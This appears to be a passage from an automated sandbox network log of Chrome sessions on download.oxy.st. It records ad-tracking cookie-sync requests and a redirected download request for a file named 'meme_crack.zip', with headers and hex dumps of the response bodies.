2024-06-15 09:15:05 UTC	755	OUT	GET /w/1.0/cm?cc=1&id=f0f39a70-2c21-4d5d-af4b-7350637edcd5&r=https%3A%2F%2Fs.cpx.to%2Fsync%3Fdsp%3DOPENX%26dsp_uid%3D%7BOPENX_ID%7D HTTP/1.1 Host: u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=2c735cb3-355f-4f5f-8240-fd04eee473db\|1718442905
2024-06-15 09:15:05 UTC	551	IN	HTTP/1.1 302 Found Vary: Accept, Accept-Encoding Set-Cookie: i=2c735cb3-355f-4f5f-8240-fd04eee473db\|1718442905; Version=1; Expires=Sun, 15-Jun-2025 09:15:05 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://s.cpx.to/sync?dsp=OPENX&dsp_uid=bfe24ff9-a070-4ca7-ba00-cd408b545fa4 Date: Sat, 15 Jun 2024 09:15:05 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.16	49856	162.19.138.116	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:05 UTC	660	OUT	POST /gm/v3 HTTP/1.1 Host: id5-sync.com Connection: keep-alive Content-Length: 1041 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://download.oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#1
2024-06-15 09:15:05 UTC	1041	OUT	Data Raw: 7b 22 72 65 71 75 65 73 74 73 22 3a 5b 7b 22 72 65 71 75 65 73 74 49 64 22 3a 22 32 39 39 34 32 66 36 39 2d 39 31 34 36 2d 34 65 35 30 2d 62 39 37 30 2d 64 64 64 39 36 64 37 62 33 30 38 37 22 2c 22 72 65 71 75 65 73 74 43 6f 75 6e 74 22 3a 31 2c 22 72 6f 6c 65 22 3a 22 6c 65 61 64 65 72 22 2c 22 63 61 63 68 65 49 64 22 3a 22 38 30 30 33 30 32 30 38 32 31 33 39 33 37 32 22 2c 22 72 65 66 72 65 73 68 22 3a 74 72 75 65 2c 22 73 6f 75 72 63 65 56 65 72 73 69 6f 6e 22 3a 22 31 2e 30 2e 36 36 22 2c 22 70 61 72 74 6e 65 72 22 3a 31 30 32 2c 22 76 22 3a 22 31 2e 30 2e 36 36 22 2c 22 6f 22 3a 22 61 70 69 22 2c 22 74 6d 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 64 6f 77 6e 6c 6f 61 64 2e 6f 78 79 2e 73 74 2f 64 2f 53 6d 55 68 2f 32 2f 35 37 34 34 62 38 33 34 33 65 34 36 Data Ascii: {"requests":[{"requestId":"29942f69-9146-4e50-b970-ddd96d7b3087","requestCount":1,"role":"leader","cacheId":"800302082139372","refresh":true,"sourceVersion":"1.0.66","partner":102,"v":"1.0.66","o":"api","tml":"https://download.oxy.st/d/SmUh/2/5744b8343e46
2024-06-15 09:15:06 UTC	720	IN	HTTP/1.1 200 OK date: Sat, 15 Jun 2024 09:15:05 GMT vary: Accept-Encoding p3p: CP="CAO PSA OUR" set-cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#2; Path=/; Domain=id5-sync.com; Expires=Fri, 13 Sep 2024 09:15:05 GMT; Max-Age=7776000; SameSite=None; Secure expires: Thu, 01 Jan 1970 00:00:00 GMT set-cookie: id5_unrecognized=1; Path=/; Domain=id5-sync.com; Expires=Fri, 13 Sep 2024 09:15:05 GMT; Max-Age=7776000; SameSite=None; Secure access-control-allow-origin: https://download.oxy.st vary: Origin access-control-allow-credentials: true content-type: application/json transfer-encoding: chunked strict-transport-security: max-age=63072000; includeSubDomains; preload connection: close
2024-06-15 09:15:06 UTC	661	IN	Data Raw: 32 38 45 0d 0a 7b 22 67 65 6e 65 72 69 63 22 3a 7b 22 73 69 67 6e 61 74 75 72 65 22 3a 22 49 44 35 5f 41 6d 70 43 4c 30 73 52 75 44 46 77 30 2d 4a 30 65 6b 33 6d 6e 76 57 76 6d 2d 47 52 76 66 45 63 4b 46 69 71 35 73 6d 61 54 36 4f 65 46 73 44 43 6d 72 57 6c 4e 31 7a 72 77 57 53 5f 41 64 79 33 64 5f 65 6d 6b 75 30 65 59 63 52 37 6f 58 7a 37 4d 71 76 7a 7a 77 42 79 61 41 42 72 5f 77 53 34 74 73 56 6c 54 4a 4e 5f 49 6c 6c 36 39 41 72 47 5f 73 62 70 71 65 36 5f 57 62 77 33 5f 58 51 71 50 75 4d 32 47 71 63 5f 5a 64 32 65 4a 5f 78 50 51 49 51 22 2c 22 63 72 65 61 74 65 64 5f 61 74 22 3a 22 32 30 32 34 2d 30 36 2d 31 35 54 30 39 3a 31 35 3a 30 35 2e 38 38 33 31 32 38 33 32 39 5a 22 2c 22 69 64 35 5f 63 6f 6e 73 65 6e 74 22 3a 74 72 75 65 2c 22 6f 72 69 67 69 6e Data Ascii: 28E{"generic":{"signature":"ID5_AmpCL0sRuDFw0-J0ek3mnvWvm-GRvfEcKFiq5smaT6OeFsDCmrWlN1zrwWS_Ady3d_emku0eYcR7oXz7MqvzzwByaABr_wS4tsVlTJN_Ill69ArG_sbpqe6_Wbw3_XQqPuM2Gqc_Zd2eJ_xPQIQ","created_at":"2024-06-15T09:15:05.883128329Z","id5_consent":true,"origin
2024-06-15 09:15:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.16	49860	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:05 UTC	504	OUT	GET /slake/asset/img/favicon/favicon.ico HTTP/1.1 Host: download.oxy.st Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:05 UTC	356	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Thu, 06 Jun 2024 05:35:02 GMT Content-Type: image/x-icon Content-Length: 1994 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT ETag: "5eefbeb2-7ca" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 790803 DDG-Cache-Status: HIT
2024-06-15 09:15:05 UTC	1994	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 07 91 49 44 41 54 58 c3 9d 97 6f ac 17 56 7d c6 3f 9f 73 7e 97 ff b7 5c ba ae b4 83 b6 22 c8 9f 48 4b 8c 28 dd d6 34 b1 4a ed d0 75 76 cb d8 b2 65 af 96 a9 4b 36 c1 c5 fd c9 96 bd 5b 4c 4c b6 a4 74 8b 21 6b 0c 75 c9 62 95 35 06 da 2d d1 6e a2 b5 4e b1 98 2c 2d 8c 60 ad b5 78 a1 80 08 dc 52 b8 e5 5e ee f7 d9 8b df 6d ab 0b 9d 65 e7 d5 c9 39 2f 9e e7 3c df 73 9e f3 7c e5 ff 18 37 ee 99 20 8d 41 1a d7 a7 bb 2a 9d 4d 69 be 33 dd 35 e9 dc 98 e6 c2 74 a0 79 21 9d 13 69 1e 49 e3 40 9a fb e9 3c 17 39 09 5c be b0 6e de 1b 62 78 a5 c5 e5 0f 9f a5 3a 32 f0 e7 d2 d8 98 ee e6 74 ef 4c 67 45 9a f3 d3 19 a4 db d3 6c e9 90 46 a5 5b 69 4e a7 33 99 e6 0f 68 3c 91 c6 e3 Data Ascii: PNGIHDR szzIDATXoV}?s~\"HK(4JuveK6[LLt!kub5-nN,-`xR^me9/<s\|7 A*Mi35ty!iI@<9\nbx:2tLgElF[iN3h<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.16	49857	141.95.33.120	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:05 UTC	349	OUT	GET /lb/v1 HTTP/1.1 Host: lb.eu-1-id5-sync.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:06 UTC	309	IN	HTTP/1.1 200 vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers content-type: application/json;charset=UTF-8 transfer-encoding: chunked date: Sat, 15 Jun 2024 09:15:04 GMT strict-transport-security: max-age=63072000; includeSubDomains; preload connection: close
2024-06-15 09:15:06 UTC	44	IN	Data Raw: 32 31 0d 0a 7b 22 6c 62 22 3a 22 6a 6a 37 4e 30 42 65 57 64 56 77 4a 34 69 4d 74 76 76 4d 7a 52 67 3d 3d 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 21{"lb":"jj7N0BeWdVwJ4iMtvvMzRg=="}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.16	49858	52.49.242.239	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:05 UTC	565	OUT	GET /fire.js?pid=12771&ref=https%3A%2F%2Foxy.st%2F&url=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&hn_ver=76&fid=48758480-4109-4e67-8f00-773986908703&dsp=TTD&dsp_uid=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b HTTP/1.1 Host: s.cpx.to Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:06 UTC	158	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:15:05 GMT Content-Length: 64 Connection: close Expires: Sat, 15 Jun 2024 09:15:05 GMT P3P: CP="NOI DEV ADM"
2024-06-15 09:15:06 UTC	64	IN	Data Raw: 72 75 62 69 63 6f 6e 2c 69 64 35 2c 64 62 6d 2c 4f 50 45 4e 58 2c 61 70 70 5f 6e 65 78 75 73 2c 70 75 62 6d 61 74 69 63 2c 66 69 72 73 74 49 64 2c 70 75 62 5f 63 6f 6d 6d 6f 6e 2c 75 69 64 32 Data Ascii: rubicon,id5,dbm,OPENX,app_nexus,pubmatic,firstId,pub_common,uid2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.16	49859	78.140.242.74	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:05 UTC	550	OUT	GET /vast?id=5344&w=1263&h=710&mult=1&rw=0&ref=&loc=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&top=&pt=inread&_ts=1718442903095 HTTP/1.1 Host: ads.adlook.me Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: adlm_userId=be95704710834e23ab1e3219ec3785b7
2024-06-15 09:15:06 UTC	297	IN	HTTP/1.1 200 OK Content-Type: application/json Server: Microsoft-IIS/10.0 Set-Cookie: adlm_userId=be95704710834e23ab1e3219ec3785b7; expires=Sat, 14 Jun 2025 21:00:00 GMT; path=/; SameSite=None; secure; samesite=none Date: Sat, 15 Jun 2024 09:15:05 GMT Connection: close Content-Length: 2
2024-06-15 09:15:06 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.16	49862	185.64.191.210	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:05 UTC	708	OUT	GET /AdServer/UCookieSetPug?ird=1&rd=https%3A%2F%2Fs.cpx.to%2Fsync%3Fdsp%3Dpubmatic%26dsp_uid%3D%23PM_USER_ID HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KTPCACOOKIE=true
2024-06-15 09:15:06 UTC	548	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 15 Jun 2024 09:15:06 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: KADUSERCOOKIE=B2362722-96A7-45E5-816D-DA88A7191676; domain=pubmatic.com; SameSite=None; secure; expires=Sun, 15-Jun-2025 09:15:06 GMT; path=/ Location: https://s.cpx.to/sync?dsp=pubmatic&dsp_uid=B2362722-96A7-45E5-816D-DA88A7191676 P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-06-15 09:15:06 UTC	53	IN	Data Raw: 32 61 0d 0a 43 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 2aContent-type: text/html; charset=utf-80

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.16	49863	185.89.210.82	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:06 UTC	1194	OUT	GET /bounce?%2Fgetuid%3Fhttps%253A%252F%252Fs.cpx.to%252Ffire.js%253Fdsp%253Dapp_nexus%2526dsp_uid%253D%2524UID%2526pid%253D12771%2526ref%253Dhttps%25253A%25252F%25252Foxy.st%25252F%2526url%253Dhttps%25253A%25252F%25252Fdownload.oxy.st%25252Fd%25252FSmUh%25252F2%25252F5744b8343e4600a69fa0181348e90fc8%2526hn_ver%253D76%2526fid%253D48758480-4109-4e67-8f00-773986908703%2526dsp%253DTTD%2526dsp_uid%253D7a9427d7-5567-4b13-ad78-e53aa5bc8a0b HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=BIAaH-w0bnmatSRya0ydTBRdHc4FHDoIKKoZImItWMLpfWM3cmF4A8xwYiDO9c6CVLCJjQGif6jRCAJ_4NSb7vBeMePjmVvodRqRSQ9cQow.; uuid2=2348066295523201724
2024-06-15 09:15:06 UTC	1661	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Sat, 15 Jun 2024 09:15:06 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://s.cpx.to/fire.js?dsp=app_nexus&dsp_uid=2348066295523201724&pid=12771&ref=https%3A%2F%2Foxy.st%2F&url=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&hn_ver=76&fid=48758480-4109-4e67-8f00-773986908703&dsp=TTD&dsp_uid=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b AN-X-Request-Uuid: d42da7d8-80a9-4a0e-bc1b-e2e0c9b40a04 Set-Cookie: XANDR_PANID=BIAaH-w0bnmatSRya0ydTBRdHc4FHDoIKKoZImItWMLpfWM3cmF4A8xwYiDO9c6CVLCJjQGif6jRCAJ_4NSb7vBeMePjmVvodRqRSQ9cQow.; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 13-Sep-2024 09:15:06 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Sat, 03-Jun-2034 09:15:06 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=2348066295523201724; SameSite=None; Path=/; Max-Age=7776000; Expires=Fri, 13-Sep-2024 09:15:06 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 173.254.250.90; 173.254.250.90; 952.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.16	49864	142.250.186.162	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:06 UTC	770	OUT	GET /pixel?google_nid=captify_dmp&google_cm=&dsp=dbm&google_tc= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIkqHLAQj2mM0BCIWgzQEIucrNAQiJ080BGMvYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: test_cookie=CheckForPermission
2024-06-15 09:15:06 UTC	970	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://s.cpx.to/sync?dsp_uid=CAESELyFu_pHvsMZBgZtrOHPYlM&dsp=dbm&google_cver=1 Date: Sat, 15 Jun 2024 09:15:06 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 284 X-XSS-Protection: 0 Set-Cookie: IDE=AHWqTUkFtCByxaCZLaZWkeNRV81Zw2XlDg0bfJcs5Ho949mmtZmlfB8raDlHg6sBwjk; expires=Mon, 15-Jun-2026 09:15:06 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Set-Cookie: test_cookie=; expires=Fri, 01-Aug-2008 22:45:55 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-15 09:15:06 UTC	284	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 63 70 78 2e 74 6f 2f 73 79 6e 63 3f 64 73 70 5f 75 69 64 3d 43 41 45 53 45 4c 79 46 75 5f 70 48 76 73 4d 5a 42 67 5a 74 72 4f 48 50 59 6c 4d 26 61 6d 70 3b 64 73 70 3d 64 62 6d 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 76 65 72 3d 31 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://s.cpx.to/sync?dsp_uid=CAESELyFu_pHvsMZBgZtrOHPYlM&dsp=dbm&google_cver=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.16	49866	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:06 UTC	786	OUT	POST /get/8fa5770f3255100e42cf57b9ed4e1895/meme_crack.zip HTTP/1.1 Host: download.oxy.st Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://download.oxy.st Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
2024-06-15 09:15:06 UTC	613	IN	HTTP/1.1 302 Found Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Sat, 15 Jun 2024 09:15:06 GMT Content-Type: text/html; charset=UTF-8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache location: https://s1.oxy.st/get.php?cg=czozMjoiMDI4MmMwMWI2MjYxYzA2M2FhOTliYTRhZjU5NTk5NWUiOw%2C%2C&n=czoxNDoibWVtZSBjcmFjay56aXAiOw%2C%2C&c=czo2NDoiYTViNzkwM2Q2YzRiYzM3ZTUyZjM3YjhiY2EyYmQ3MTNkNGY0ZmI2ZDU0N2UyOGRiZTNiZjlhOTQ2YjliMGI0OCI7&t=1718442906 Access-Control-Allow-Origin: * Transfer-Encoding: chunked
2024-06-15 09:15:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.16	49867	99.81.158.184	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:06 UTC	626	OUT	GET /sync?dsp=OPENX&dsp_uid=bfe24ff9-a070-4ca7-ba00-cd408b545fa4 HTTP/1.1 Host: s.cpx.to Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:15:06 UTC	335	IN	HTTP/1.1 204 No Content Date: Sat, 15 Jun 2024 09:15:06 GMT Content-Length: 0 Connection: close Expires: Sat, 15 Jun 2024 09:15:06 GMT P3P: CP="NOI DEV ADM" Set-Cookie: dsp_OPENX=bfe24ff9-a070-4ca7-ba00-cd408b545fa4#1718442906833; Expires=Sun, 15 Jun 2025 09:15:06 GMT; Domain=.cpx.to; Path=/; Secure; HttpOnly; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.16	49865	157.90.33.72	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:15:06 UTC	670	OUT	GET /sync?user_id=RW8IAnTqITCB2iufh4wu8t HTTP/1.1 Host: uidsync.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json Accept: / Origin: https://download.oxy.st Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://download.oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: rauid=dNts6306JSIF1v1xnnpjsT
2024-06-15 09:15:06 UTC	922	IN	HTTP/1.1 200 OK Server: Angie Date: Sat, 15 Jun 2024 09:15:06 GMT Content-Type: application/json; charset=utf-8 Content-Length: 62 Connection: close Access-Control-Allow-Origin: https://download.oxy.st Access-Control-Allow-Credentials: true Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, Authorization, X-CSRF-Token Access-Control-Expose-Headers: Authorization Cache-Control: no-cache, max-age=0, must-revalidate, proxy-revalidate, no-store Pragma: no-cache Expires: Tue, 11 Jan 1994 00:00:00 GMT Accept-Ch: Sec-CH-UA, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Model, Sec-CH-UA-Bitness, Sec-CH-UA-Wow64 Set-Cookie: rauid=dNts6306JSIF1v1xnnpjsT; expires=Sun, 15 Jun 2025 09:15:06 GMT; path=/; secure; SameSite=None
